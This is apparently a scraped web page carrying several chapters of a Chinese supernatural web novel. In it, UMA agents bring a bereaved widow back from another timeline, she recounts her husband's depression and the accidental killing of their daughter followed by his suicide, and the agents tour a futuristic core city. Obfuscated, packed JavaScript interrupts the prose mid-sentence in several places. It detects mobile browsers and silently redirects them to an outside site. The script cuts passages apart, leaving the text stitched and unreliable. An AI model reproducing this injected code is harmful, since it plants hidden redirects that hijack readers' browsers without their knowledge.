按上次传送到无垠之地的经验,从她们传送到这里,现实世界应该才过去十几分钟而已。也不知道白姨和奶奶现在在做什么,她甚至还没去过824区自己的新家。过去的一年她时常害怕某天醒来奶奶就没有了呼吸,现在倒好,自己可能要先走一步了。 或许是原主的情绪残留影响到了她,当然,来自吕方格的情绪攻击也不容小觑。 霓虹内心濒临死亡的哀怨刚要放大,就看清了那怪物“手”上、从季明珊身上掏出的东西是什么—— 是她的手枪。 这是要给她俩一个痛快? 那怪物被吕方格操纵着,缓缓移到霓虹身侧,像是在研究该如何使用这把手枪。她在心里翻了个白眼,心想大不必先杀她,明明刚才离季明珊更近! …… 吕方格将怀里的女儿搂得更加用力。可无论他再怎么想将她揉进怀中,还是只能感受到冰冷、坚硬。是啊,他们只是游荡在人世间的亡魂,哪怕可以操纵傀儡,也终究是死人的执念罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你好,江蕴。”她弯下腰,伸出手,试图拉她起身。 霓虹还未从震惊中缓神。她是推断出,吕方格的“自爆”是为了保护自己的爱人,真正活下来的人是他的妻子。但当她亲眼看到江蕴的模样,她脸上那种发自内心悲伤和绝望,让她连呼吸都不忍出声。 见江蕴没什么反应,季明珊自报家门:“我是季明珊,来自联邦UMA管理局。我们在异时空发现了怨灵的存在,前来清除。如今你没有了死界的保护,势必要以谋杀嫌疑被警察拘留,你可以选择和我们一同回到联邦,我们会保护你的安全。” 江蕴没有出声。她微仰起头,看向面前的霓虹。 她很久没见到阳光了。 这个看起来和自己女儿差不多年纪的姑娘,背光而立,脸上晦暗不明。她很想挥走她面前的那片阴霾,就像她从吕小琪一岁的生日起,每年都会虔诚许下最真挚朴素的愿望: 希望我的女儿,能远离人世间一切苦难;希望她可以快乐自由地成长。 15. 青环路39号(六) 霓虹在传送舱中缓缓苏醒。 不知道是那怪物造成的精神污染太严重,还是心里尚且存在某些疑问,她没有第一时间离开传送舱,而像疲累奔走了许久、终于有时间坐下歇歇脚的旅人,一动不动。 她抬眼看向还未从异时空的遭遇中完全恢复的苏芸。陈元正往她的大臂注射着一根绿色针剂,董咚咚则惊愕地张大嘴巴,看向季明珊。 不,应该是在看凭空出现的江蕴。 董咚咚不知前后因果,也没经历那些怪物的控制和追杀,只是一脸惊恐地看向这个意外出现在季明珊的传送舱里、来自地球纪元2034年的活人。 “她她她她她是谁!!!” 陈元给苏芸打完针,抬头也是一愣。季明珊经常从各种任务里带回不明生物体,但带回活人还是头一遭。 季明珊脸色不算好,甚至没出言询问苏芸的伤势,和霓虹保持着同频的沉默。 三个人里,看起来最正常的反而是穿越时空而来的江蕴。她也不惧,只是眼中带着探索。她好奇地看向四周,试图获取一些信息。 “怎么了?”陈元到季明珊跟前,面带忧虑地问着。 “没事。”她像是猛然苏醒,神色如常地吩咐,“这是江蕴。先让她住霓虹那里,我会考察她是否符合成员标准。” “好。你要不要先去休息?” 季明珊阖了阖眼——但只有几秒时间,“不必。等你安顿好这些人,上来找我。” 说罢,她裹好长袍,起身大步离开了负108层。 “你……怎么样?”董咚咚十分社恐,但她看霓虹无人关心,不自觉往她那儿凑了凑。 哪怕她曾经断过自己的腿。 “我没事。”霓虹颇有些意外地看向她,“谢谢。” “哦。”董咚咚尴尬地捏紧了手指。 她只想安静地当个静默员!她十分怀念自己的老本行。 霓虹看向电子大屏。 从她们进入传送舱,才过去了不到十分钟而已。她和季明珊返回的时候,恐怕苏芸刚前脚落地。 一阵没由头的恐慌漫上心头。依照这样的时间流速对比,联邦的一天,约等于那个时空的三个月——时间像被微小石子卡住缝隙的齿轮,就好比她穿越后在联邦度过的这一年,对地球纪元的人类来说,可能是她们一生的时光。 她感受到了时空的扭曲。 要是自己因故在异时空被迫停留数十年,等抛出信标返回的那天,还会回到最初的模样么?在她经历多次穿越、感受不同的时间流逝过后,还能维持精神稳定不错乱么? 地球纪元……一定是联邦存在之前,自己是否来自那里、又是怎样遗失的记忆?她是否曾经参与过类似的项目,是被意外传送到未来的成功试验体? 就在她难以平复心跳、不断陷进自己搭设的思维陷阱时,胳膊上突然传来温热的、踏实的触感,将她一下拉回现实。 陈元面容温和地站在传送舱前,朝她轻轻摇头,“不要多想。这只是一份工作。你是联邦第一区合法一等公民,刚刚结束劳累的工作,需要回家休息。” 陈元的话就像是催眠。霓虹瞬间回忆起主卧大床的柔软触感,还有那满屋倾泻的阳光。 现在是联邦第253年。 自己和奶奶在此相依为命。 她为了寻求庇护和维持生计加入了联邦UMA管理局。 她刚刚结束自己职业生涯的第一个任务。 她叫霓虹。 …… 霓虹在心里反复默念着,直到思绪变得清明。 苏芸和董咚咚一同去了治疗室。霓虹看了眼一旁身上贴满磁片、在做各项体格检查的江蕴,突然意识到季明珊给自己扔了个重磅炸弹。 她要和江蕴住在一起? 美好的独居生活刚开始就破灭了。 “好了。”陈元记录完数据,“霓虹,你带她先回家休息吧。” 她颇不情愿地点了点头。 “你们……不审问我吗?”江蕴终于开口。 “起码不是现在。”陈元笑了笑,“不必担心。” 江蕴有些疑惑地蹙眉。她们跨越时空将自己带回联邦,竟然连问都不问。 是管理松散、还是已经对事情有了全面了解?她不露痕迹地扫过霓虹,她明明十几岁而已,竟然已经开始工作。雇佣童工不犯法么?联邦这个词并不新鲜,如今世界上还有几个国家?联邦又是由哪几个组成的? 季明珊明显是这群人的首领。但她看着比自己还小上几岁。UMA又什么隐秘组织?间谍? 但她并不想表现得惊慌失措。 “走吧。”霓虹脸色不太好地起身,领着江蕴返回一层,搭乘专车回到公寓。 …… “这里跟你家没差。”霓虹同情这个丧夫丧子的女人,但不代表她要全身心地接纳,“你可以睡次卧,不要随便出门,我睡着了没法给你开门。” “好。”江蕴童年有过寄住亲戚家的经验,明白霓虹不想被打扰的心情,只是谨慎地问道,“你饿不饿?我可以做饭。” “你饿?”霓虹不想在睡梦中被轰隆隆的抽烟机吵醒。在贫民窟天天起早贪黑做饭的往事犹记在心,她暂时不想走进厨房。 “没有。”江蕴垂眸。 “那就好。我要去休息了,不要吵醒我。”霓虹此刻没心情安慰别人,只想脑袋空空睡大觉。 “好。” 简单的交谈过后,霓虹快步回到主卧,关上门,上床倒头就睡。 江蕴保持着最基本的礼貌,没有环视这个公寓的细节,而是径直走向主卧对面的、同样有一张松软大床的房间,轻轻阖门,不再发出一点声响。 …… 等陈元处理好一切,返回108层时,季明珊已经摘下瞳片,翻阅着堆积的文件。 “季局。”陈元恭敬开口,“您需要休息,这点杂活我做就行。” “我没事。”季明珊合上资料,跳过这个话题,“江蕴什么表现?” “很正常。但有点过于镇定。”陈元如实汇报,“她的生命体征平稳,身体年龄约三十四岁,脑电波正常。” “明天上午,带她来我办公室。”季明珊转着手头的笔,目光沉静,“或许她的能力,可以完成我的某些设想。” “什么能力?”陈元方才的检查中,并没检测出她的异常。 “我初步怀疑,她可以沟通和操控怨灵的‘死界’。” 陈元像是没听懂自己听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她当着陈元面就拆开了包装,戴上了。只不过那时候她在想别的事,没太关注。 霓虹有些好奇地将光脑拾起,重新带回手腕。 她感觉自己好像戴过这东西。 穿越前的濒死感仍停留在脑海。除了时不时蹦出的、有关她穿越生前的一些断片回忆,她仍旧想不起大部分事情。 会是有人抹除了自己的记忆吗?如此煞费苦心的目的又是什么?太多疑问在心头盘旋,霓虹足足做了一分钟深呼吸,才将自己再次从荒诞而又诡异的猜测中拖离。 不确定因素太多,霓虹现在只明确一点——她得变强。 任务中小小的怨灵就可以将自己置于死地,她倒是不怕粉身碎骨,只怕自己这条命,像只猴子一样被人放纵戏耍,又像只蚂蚁一样被轻易捏死。 霓虹不能再容忍自己被命运无情摆弄。她必须成为这个时代的强者,必须将命运握在自己手中。 温热的水流自头顶流下。霓虹吐出口浊气,闭上双眼,享受着这一刻身体的放松。 卧室的房门不经意间被风吹得虚掩。没人注意到,床上凌乱的被褥里,正探出一段黑色如同粘液样的诡异生物,似在呼吸般起伏。 16. 青环路39号(七) 洗完澡,霓虹披着湿漉的长发,盘坐在床边研究光脑。 她按照提示一步步加载、扫描瞳孔、登录,意外发现自己账户多了七八万星币。 她应该还没到领工资的阶段。 之前在824区,星币都是通过纸币流通,甚至还有大小不同面额。每次救助基金会的人前来发放奶奶的补助,霓虹都会要面额小些的纸币,方便买菜。 有了这个就方便多了。 更神奇的是,她一点开通讯录,意外发现该有的人都有了——季明珊、陈元、苏芸、董咚咚……甚至还有白恩和白芳。 霓虹触摸屏幕,尝试着给白恩发了条消息:“奶奶还好吗?” 刚发完她就后悔了。因为她发现光脑右上角一行细窄的数字提示着时间,现在已经凌晨两点十五分。 她打算明天再问陈元,那些星币是怎么回事。时间还早,她还可以赶在训练前舒服地睡上一觉。 叮。 她刚躺下,光脑就收到了一条消息回复:“一切都好。你在UMA怎么样?休息时可以回来看看奶奶,我给你报销路费。” 霓虹看着这条消息,心里莫名生出暖意。 “好。晚安。” “晚安。” …… 霓虹赶在苏芸敲门前起身,利落换好衣服,扎好头发——这费了她不少功夫。半夜她没吹干头发就睡了,导致早上起来顶了一头炸毛,梳子都崩齿儿了。 她出门前扫了眼次卧,房门紧闭,像是根本没住人。 苏芸没在门口堵她,想必是伤势还没恢复。霓虹活动开四肢,以楼下的一盏路灯为起点,开始慢跑。 等她跑到昨天苏芸带她做力量训练的健身场地,却发现苏芸正半跪在地,往金属杆上套着胳膊粗的杠铃片。 两人对视,苏芸热情地朝她挥手,叫她一起锻炼。霓虹面容扭曲,旋即脚下加速,调头就往回跑。 锻炼需要循序渐进! 她足足跑了十五公里,直到每一步脚掌落地的位置都变得不确定。她看着手环的预警提示,心率大于180次每分,建议休息。 霓虹觉得这幅身体的底子还不错,跑完并没精疲力竭,而是在疲累之外,心情愉悦、四肢舒展,身体里还有隐隐力量爆发。 打道回府! 一进门,她就被浓郁的蛋香吸引——霓虹看到了系着碎花围裙的江蕴的背影,正用锅铲翻动着煎蛋。 餐桌上甚至摆好了牛奶。 霓虹的心瞬间软了下来。 “回来了?”江蕴听到门口的声响,回头笑笑,“洗手吃点东西吧。” “嗯。”霓虹没表露出情绪,进屋换了身衣服、洗了手,老老实实坐在桌前。 “你想吃几个蛋?”江蕴将煎好的蛋盛进她面前的盘里。 “两个。谢谢。” “马上。”江蕴回身继续在灶台前忙碌,“这里食材不多,先应付着。” “嗯。” 霓虹没多言语,而是用行动表明了对江蕴厨艺的赞赏。她不善下厨,过去整整一年的历练,她都不能保证煎出个这么个形状完美、微微流心的蛋来。 她最后连吃了五个才放筷。 江蕴刚坐到餐桌前,门铃响了。 霓虹开了门,陈元看向屋内相处氛围还算和睦的两人,松了口气。 “季局长让我来接你们俩回局里一趟。” “好。”江蕴瞬间放下筷起身,摘掉围裙就要出门。霓虹把杯里温热的牛奶喝光,舔舔嘴角,面无表情地跟了上去。 …… 季明珊熬了个通宵,把桌上糟乱的文件全部批注、审阅完毕。晨曦微亮,她钦点御用大厨做了碗百鱼目汤送来,慰藉了下疲惫的双眼和空荡的胃。 季明珊总有数不清的工作。她在第一区拥有一栋别墅、三间公寓和一家清洁公司,但她大多时候只在UMA办公室的软椅上休憩,缓解过长久使用双眼的酸乏,就继续投入工作。 UMA管理局在联邦35年成立,迄今两百多年发展更迭,早已经烂成一摊臭泥。若不是受人所托…… 她或许已经成为联邦第一军区的少将。 所幸她的天赋在UMA没有荒废。 陈元把江蕴和霓虹都带来了。两人经过一晚的休整,气色看起来还不错。 “江蕴,我有意将你培养成UMA的职员。”季明珊开门见山,“前提是你要将事情的经过和你丈夫女儿的死因,详细地说明。” 江蕴身形微晃。她双手规整地放于膝上,连脚尖都是合拢的。 “一年前,我和老吕决定……” 联邦2033年。 X市郊区的楼盘在秋季开盘时炒得火热——独栋的洋房、全屋精装、还送一百多平米的大院,一下就戳中了婚后一直住在市区老破小里的江蕴。 “老吕,咱换套房子吧。” 一天夜里,温存过后,江蕴依偎在吕方格的怀里,突然想到白天刷到的售楼广告。 “好啊,有没有看中的?”吕方格也早有念头,只是他工作太忙,一直没空闲和江蕴商量。 “我看郊区那个新房子不错。”江蕴没拐弯抹角。吕方格的工资一直都上交给她,家里的存款她也清楚,“我们可以贷款,顶多是吃穿上节省几年。那个房子真挺好的,我觉得值,二层小复式,尤其那个院子,可以种点花花草草、新鲜蔬菜什么的……” 吕方格温柔看着妻子一脸幸福地畅想着,心里有些愧疚。这栋老破小还是结婚时候购置的二手房,江蕴当初得知他工作繁忙、没法顾家,主动承担起责任,替他照料一切。 她吃了很多苦,也放弃了很多。 “买。哪天我请个假,咱们一起去售楼处。”吕方格亲吻着江蕴的额头。哪怕这个房子超出了他们目前的经济能力,他也要满足妻子的愿望,大不了他再多接点任务、加加班,争取早日升职涨薪。 …… 拿下钥匙的那天,江蕴和吕方格驱车前往学校。他们一直没告诉吕小琪买房的事,希望给她一个惊喜。 “我的天呐!”当车停在青环路39号、那栋很有欧式风情的二层小楼前,江蕴为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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由于很小开始接触田径,她的食欲一直很旺盛。停止锻炼以后,她一身的肌肉开始悄然走形,不到半年的时间,体重就上涨了二十斤。本就不太合群的她因为身材明显的走样,被人堂而皇之地当面议论,她也不敢出言反击,反而错误地、报复性地将吃饭当作了解压逃避的方式,直到她无法清除耳中时而传来的讥笑,也无法再掌控自己的食欲。 她开始常常夜里偷溜到厨房偷吃饼干和剩饭。结果某个深夜,她还没走进厨房,就听到楼上传来微弱地抽泣声。 她好奇地悄悄靠近,却意外发觉那抽泣来源于她的父亲。 “没关系,还有我呢。”江蕴柔声安慰着。 “可是还有房贷……”吕方格抽噎着,不知如何面对妻子,只能掩面暗骂自己无能,“对不起。” “不要说对不起,我们是家人。”江蕴没有半分不耐,“我会想办法,你不要着急,再找找别的工作。” 她的父亲失业了。 吕小琪震惊在原地,久久不能回神。她们才刚搬到新房不久,也听过晚饭时爸妈谈起的房贷之类的问题。这就像晴天霹雳,让她本就因社交、食欲而焦虑的心情愈演愈烈。 直到她能一口气吃下二十个妈妈烤制的小蛋糕。 17.青环路39号(八) “老吕,部长找。” 某天下午,照例的加班时间,隔壁组的同事突然拐到吕方格的工位,小声在他耳边说道。 吕方格还以为是手里的项目有什么变动,没多想就过去了。 “老吕啊。”设计部部长比他大不了几岁,两人甚至还是校友。他脸都快皱成苦瓜,重重叹了口气,“上面通知刚下来,让各部门的负责人,和三十五岁以上的员工好好聊一聊。” 吕方格脑子里还是刚才运行的代码,一时间没听懂。 “你也知道,现在互联网行业啊,不景气了。”部长拍拍他的肩,语重心长道“公司想缩减用度,一是大幅降薪,二就是重新规划下各部门人员配比。” 吕方格一脸不可置信地看向他。他在公司干了九年,还差一年就能升职中层,拿到铁饭碗了。这九年他从毫无背景的新人、干到设计研发部小组组长,能力所有人有目共睹,偏偏这个节骨眼上赶上了裁员。 “老徐啊,你知道我的,我刚贷款……”吕方格恨不得给对方跪下,“我不能这时候失业啊,再说我手里还有三个项目在跟进,这么多年,我为了公司,没有功劳也有苦劳吧,你能不能再给我次机会……” “老吕,我已经给你争取最好的条件了。”部长无奈安慰着,“给你补偿两年的工资,外加今年项目的分红。没别的办法了,人事按年龄、学历和职位直接筛选的,到我这儿,也只是走个形式通知罢了。” 吕方格被堵得什么话都说不出。 一小时前,他还在为了项目设计和小组成员商讨得火热。现在,他收拾了工位上的私人物品,在一屋人的注视下,满含屈辱地离开了。 补偿款满打满算也才三十万。为了尽早还清房贷,他和江蕴选择了高月付的贷款,每月一万五,再加上小琪在贵族学校的学费、补课班、家里日常的花销……这点钱也只够应付一两年的。 三十五岁的人其实很胆小——生活一旦偏离了稳定的轨道,无边的惶恐和焦虑就铺天盖地的袭来。回家路上,吕方格搜索遍了X市几乎全部的匹配岗位,全都因为年龄问题,连基本的准入门槛都达不到。 更何况他是被裁掉的。 他没脸面对江蕴,更没脸面对活泼可爱的女儿。他的失业会给以往幸福快乐的家庭蒙上阴影,他是一团腐烂的垃圾,回家只会发烂、发臭。 他是千古罪人。为什么刚才会答应?为什么不去人事申请驳回?哪怕结局已定,自己怎么就不挣扎一下,万一有转圜的余地? 一切都没有了。 吕方格折磨了自己一天、两天、一周……江蕴替他在女儿面前瞒得很好,也体谅他的难处,甚至偷偷背着他,重新拿起了画笔,试图通过卖画和做甜品来贴补家用。 他是家里最恶心肮脏的蛀虫。过往的一切美好像泡影被戳破,吕方格开始不断责备自己、惩罚自己,直到江蕴逼迫着拉他去了朋友介绍的医生那里,才得知自己已经深度抑郁,并在无意识的情况下出现极端消极的行为。 他会突然控制不住地哭泣。会想用窗帘绕上脖子勒死自己。会偷偷拿起剪刀出神。他控制不住想让生命流失,整夜失眠,蜷在被里期盼有人能了结自己。 哪怕他清醒的时候,也一样痛心——江蕴从他失业,没说过一句重话,也没发过脾气,全然接受和包容了他。这令他更难过、更自责。 这个世界上要是没有他就好了。 …… 吕方格能察觉到吕小琪似乎发现了什么,因为她也开始下意识偷偷藏起视线里锋利的物件。他沉痛挣扎许久,还是认真听了医嘱,开始接受药物干预。就在他似乎都觉得,一切在往好的方向发展时,变故悄然发生了。 某天晚饭时。 最近吕方格治疗的很积极,整个人的状态也好了很多,这让江蕴看到了希望。她不是不焦虑,只是知道现实已然如此,那是她心爱的家人,必须要理解和体谅。她们拿到了不错的补偿款,只要好好规划,这一两年的难关无论如何都会渡过。 江蕴只希望丈夫和女儿能健康快乐。 她特意做了家乡地道的豉蒸排骨,在端出蒸箱摆盘时,突然听到餐厅传来餐具跌落的声音。 她正戴着厚厚的隔温手套,手里的排骨马上就好。她想不急这一时,一会儿就过去收拾。 这恐怕是江蕴这辈子最后悔的决定。 等她端着排骨、绕过半面围墙到餐厅,浑身的血液仿佛瞬间凝固—— 她的女儿刚好跌落在凳子上,一只手捂住脖子。鲜艳的大股血液从她的指缝喷涌而出,将奶茶色的餐桌布一角都染红。 吕小琪瞳孔飞速放大,还没来得及闭上眼,瞬间没了生息。 江蕴吓傻了,但她没功夫发愣。吕方格正站在女儿面前,颤抖的右手正紧握着片瓷盘的碎片,沾染血迹的尖部无比锋利。 他像是瞬间从这几个月的臆想、自责、抑郁中清醒过来,眸色清明。他看着栽倒的女儿似乎张了张口,可惜那顷刻如注的血流堵住了她的喉咙,一条鲜活的生命在顷刻间失去,没人来得及挽救。 吕方格呆滞了一瞬。 时间倒退。 方才,他捡起地上散落的瓷片,那种浓重的悲伤情绪再一次占领心房,他下意识握着那碎片朝手腕比量—— 吕小琪见状,飞快而又大力地拽开他的手,试图夺过瓷片。病情严重发作的吕方格一时间没能反应过来,只想摆脱这股阻止他自杀的莫名力量…… 噗呲。 他用了十成力,却没看清吕小琪是弯腰俯身朝着自己。他的胳膊惯性甩出,在她那白皙光洁的脖颈上,划出一道深刻的血痕。 女儿滚烫的血,呲了他满身满脸。 想清楚自己做了什么后,吕方格连哀痛的神色都没来得及做出,飞快用瓷片割开喉咙,自杀了。 前后不到一分钟的时间,两条生命,两个江蕴生命中最重要的人,以这样有些荒诞的戏剧性巧合,接连离世。 她仿佛也死在了这团血泊里。 …… 霓虹神色凝重地听完她的讲述。 原来“怨灵”的产生,并不一定是仇恨、嫉妒、冤屈,还有可能是懊悔,是怨生前的自己。 “你是如何在那栋房子里活下来的?”季明珊内心同样有所触动,但她必须先确认一些事。 “我能感受到,他们死后并未离去。”江蕴目光温柔地看向虚空的一处,“出事后,我第一时间呆傻在原地,满地都是血。我整个人瘫软在地,连哭都哭不出来。我挣扎着扶着桌子,想要去拿手机拨急救电话,突然听到了老吕的声音。” 季明珊低头思忖着,没有插话。 “他让我别打电话。”江蕴回忆着,“他说如果我引来警察,会被安上谋杀的罪名。他说孩子和他在一起 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“我们从一进门,就进入了吕方格和吕小琪创造的空间,对么?”趁季明珊思考,霓虹突然开口问道。 “是。”江蕴点头,“我们不知你们的来意,只能保护自己。” “那些灰雾是谁操纵的?”霓虹听完她的讲述,微微疑惑。那些雾气从青环路的尽头就开始弥漫,像有生命的生物,带着浓烈恶意,甚至能影响心神。即便吕方格和吕小琪的怨灵再强大,也不至于能扩散到整条青环路吧。 “只要在那个空间里,就会有雾。至于它如何产生……”江蕴摇摇头,“我并不知道。” “那是‘死界’的本体。”季明珊像是在科普,“人正常死亡后,灵魂会飘往‘死界’。足够的史前资料和探索考察表明,‘天堂’就是一片近似在空中的、浓重弥漫雾气构成的空间里。” 这你也去过?霓虹腹诽了句。 “那……我的丈夫和女儿,现在已经到天堂了吗?”江蕴脸上露出略带痛苦的微笑。 “不。”既然要将她发展为小队成员,季明珊没打算隐瞒任务的实质,“怨灵无法重归‘死界’,只能被清除。” 江蕴微微张了张唇瓣,“我知道了。” “我还有一个问题。”季明珊直了直腰,双手交握放在桌面,“长久生活与怨灵共生,你有没有发觉自己,拥有了操控那个异空间的能力?” “这就是你将我带回来的理由?”江蕴眼神复杂。她是婚后做了家庭主妇,但不代表她会为此变得愚钝。 江蕴曾师从当代印象流派的出色画师,甚至一边学画、一边考上了不错的大学。 “我只能操控部分物体。并且,那是因为我熟悉他们,熟悉我的家。”江蕴带着否认的意味回复道,“我只能说,每个怨灵创造的空间,都极具个人特色。” “能不能,一试便知。”季明珊欣赏江蕴的聪慧和总结能力。她悄然动用灵视——这是位思维敏捷、大胆果敢、还颇重感情的出色女性,如果她能成长到一定水平,未来会站到比她更高的位置。 她的目光再次扫向一旁正出神的霓虹。很多人初次见面、甚至只是看到照片,季明珊就能大致判断出对方的前景。但霓虹就像死界中的那团灰雾,迷蒙、遮天蔽日,她只知道对方会成为出色的视灵者,但她的立场、她的归属,统统无法触及。 18.第一核心区 “陈元。”季明珊没什么想问的了,低下头处理起文件,“带她们两个去核心区,添置点生活物品,公费报销。” 话音刚落,霓虹右前方的墙壁突然扭动起来,逐渐形成一个人影。陈元从“墙”里走了出来,以他那副标志性笑容看向二人,“我们走吧。” 她也想当个能藏在墙里的智能人。 陈元亲自驾车,带两人离开UMA管理局的大楼。等飞车开出一段距离,他解锁了车窗的封闭,让两人能够俯瞰两侧的景色。 霓虹通过后视镜,朝后座的江蕴瞥去一眼。她的手正紧紧抓着皮质座椅边缘,神色僵硬,像在尽力去消化着自己在一辆会飞的车上这个事实。 “核心区离公寓远一些,飞车全程大约半小时。”陈元为两个新人描述着,“核心区是全联邦最繁华的地带,需要通行证才可以进入,日常警戒水平为一级。在这里,你绝对安全。UMA正式职工的通行证拥有最高权限,可以选择搭乘飞车、云梯、智能马车,进入休闲会所、医院、教育厅、演播大楼、训练场等任何想去的地方。核心区正中央还有三栋交易大厦,可以使用星币买到几乎所有你想要的东西。” 十几分钟后,飞车行驶到核心区的外围。数以万计的飞车高矮不同地悬浮在由未知金属构建而成、表面散发着淡蓝色光泽、高耸入云的核心区隔离墙外。 陈元熟练地插队略过成群的车辆,直达墙外某处。霓虹这才看清,那墙面淡蓝色的光泽是飞速流动着的数据信号,整个外墙都被数据覆盖,高速处理着墙外来访者的信息。 霓虹看到自己的名字浮现在墙壁之上,又瞬间消失。这栋墙给她带来了极大的压迫感,墙外密密麻麻的飞车像巨树上成群结队的蝼蚁,她不知道这堪称宏伟的墙面是如何建造的,但潜意识里就觉得—— 它早晚得塌。 “准备入墙了。”陈元按下顶棚上的一个按钮,“可能会有颠簸,小心。” 话音刚落,飞车底盘开始不受控制地颤抖、扭曲。视线变成全黑,霓虹感觉自己的四肢、躯干扭折到不可思议的角度,又像是碎裂镜片折射出的荒谬假象,整个人像随便揉捏的泡泡糖。 她觉得这一瞬间的感受很熟悉,并非亲身经历,而是上辈子在哪里看到过这样的描述,并且下意识引用了当时脑海里记录下的文字。 但她想不起具体的。以前的她似乎对自然科学和奇诡现象都不感兴趣。 只是一秒的扭曲,飞车很快进入了核心区域—— 眼前顿时一片开阔。霓虹瞳孔骤缩,下意识微微张嘴,轻声发出惊叹。 这是座密不透风的城市。它由钢铁机械、摩天大楼、空中隧道和无数的刺目灯光构成。这里似乎不分昼夜,明明墙外还是白天,此刻的核心区内,却构成一幅光影交错、黑白错落的图景。灯光下的一切完全暴露在人的视野中,连那顶层直插入云的高楼大厦,外墙均是通体由玻璃建造,毫无遮掩。但视野中仍有死角和盲区存在,黑暗的角落和灯光一样无数无尽,在对比之下更显幽秘和危险。 陈云为了让两人好好感受,特意停在了地面自助车位,可以通过步行抵达赫明德百货商厦。 霓虹觉得脚下的这片土地十分虚幻。她仰头看向天空,没有太阳、月亮、星星的痕迹,她们的头顶被厚重的云层遮掩,就像是无数个又厚又大的蘑菇伞盖拼接覆盖而成。而这些大楼就像是一个个伞柄,从土地破土而出,支撑着上空。 她看了眼光脑上的时间。上午九点零八分。 “我的建议是去赫明德百货大厦,那里品种十分全面,我个人也时常光顾。”陈元没去解释,另外两栋外观明显更上档次的菲尼斯和梅东汀百货大厦都有最低标准消费,以两人目前的薪资水平,怕是连个平底锅都带不出来。UMA管理局能为个人拨付的公费也有限。 “有没有什么想要挑选的?我可以提出建议。”陈元见霓虹朝赫明德百货大厦外广场的滚动大屏张望。那上面详细介绍了整栋大厦每一个商户的主营范围、经营品类、鲜明特征等。 霓虹摇摇头。生活的基本用品公寓都有配置,她物欲不高,但不耽误她想要浏览这些精致而又实用过头了的商品。 竟然还有全自动燃气灶——她有些茫然地看着上面的标语: “只需语音操控,爱智小灶可以为您定制专属菜品,无烟烹饪,还附赠自动清洁和饭后消食揉腹功能呦~快将你的专属小灶带回家吧!” 霓虹是真有点心动了。她不在乎这个燃气灶能不能做菜,只想看看它怎么给人按摩。不过她的想法来得快去得也快,因为她发现屏幕右下角有一行浅色的、不太显眼的标价,上面的零她都数不清。 几人正要从旋转玻璃门进入大厦,忽地听到尖锐刺耳的哨声。霓虹吃痛地揉揉耳根,发现商厦对面的停车区、离她们不到二百米的距离,凭空出现了一队穿着纯黑制服的蒙面人。 “这些人是稽查员。”陈元低声说道,“也是巧了,你们竟然第一次进核心区就碰上了。” 霓虹听他的语气,眼前这帮明显训练有素的稽查员,不是什么好相与的角色。她看到那几个蒙面人围住了一个穿着浅褐色、长至小腿的风衣的男子,他双手高高举起,敞开风衣,像在示意什么。 “砰。” 一声微弱的枪响。霓虹凭借自己敏锐的听觉,确定了眼前所看到的景象真实。 为首的蒙面人没给风衣男任何的机会,直接出枪,结束了他的生命。整个过程似乎没有痛苦、也并不血腥,其余的几个稽查员在风衣男栽倒在地、胸口鲜血染红地面之前,就准备好了大小合适的裹尸袋,将人飞快装了进去。 整个广场上人头攒动,除了霓虹等人,没人在意这飞快发生的一幕。要不是陈元提及这几位蒙面人的身份,她都怀疑这是一宗早有预谋的抢劫杀人案。 “还没来得及介绍。”陈元僵硬地扯着嘴角,看那几位稽查员消失在虚空之中,“我之所以说这里绝对安全,是因为稽查员会直接处决这里的一切危险,包括人、异变生物和炸弹。” “他们如何辨别危险?”霓虹不认为这是种合理的治安方式。 “凡有危险,即刻清除。这是稽查员奉行的真理。核心区的一切都在联邦统治者的眼皮子底下,这些人,只是奉命行事。” 核心区绝对安全。霓虹反复咀嚼着这句话。稽查员既然可以毫无痕迹地带走一个人,为何还要做出当街枪杀这种事?是杀鸡儆猴,还是不择手段? 三人未多停留,在陈元的引领下进入百货商厦,通过观光电梯直达五十九层。由于两人并没有明确购买意向,陈元决定带她们到床上用品店、服饰店和日用百货店较多的楼层。 霓虹这才想起来得买几身衣服做替换,以及她光脑里多出几万星币的事。 她趁江蕴认真挑选厨具的功夫,凑到陈元身边,直接亮出光脑上的余额,无声询问。 “嘘。”陈元朝她比了个手势,笑容难得有些狡黠,“不要在核心区讨论这么危险的事。” 看来他知情。霓虹点点头,收下了这份好意。 她溜达了一圈,最终经过慎重考虑,走进了一家以深色调为主的运动服装店。她的目光只要在任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667251|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件衣服上停留超过两秒,就会浮现出她穿上这件衣服的虚拟投影,冷不丁吓她一跳。 “这件很适合你。”江蕴跟在她身后,指了指旋转架上的一件紫灰色运动短袖。 霓虹正犯着选择困难症,闻言直接将衣服从架上拿了下来。她在凭空生成的虚拟影像里看到了价格标签,700星币。 “给我来十件。”霓虹直接对一直游离几人身侧的店员说道。 “先试试呀,万一不合身。”江蕴轻拍了下她的肩头。 也是。 店员很上道,在她拿着短袖前往更衣室的途中,还见缝插针地递给她一条配套的短裤。 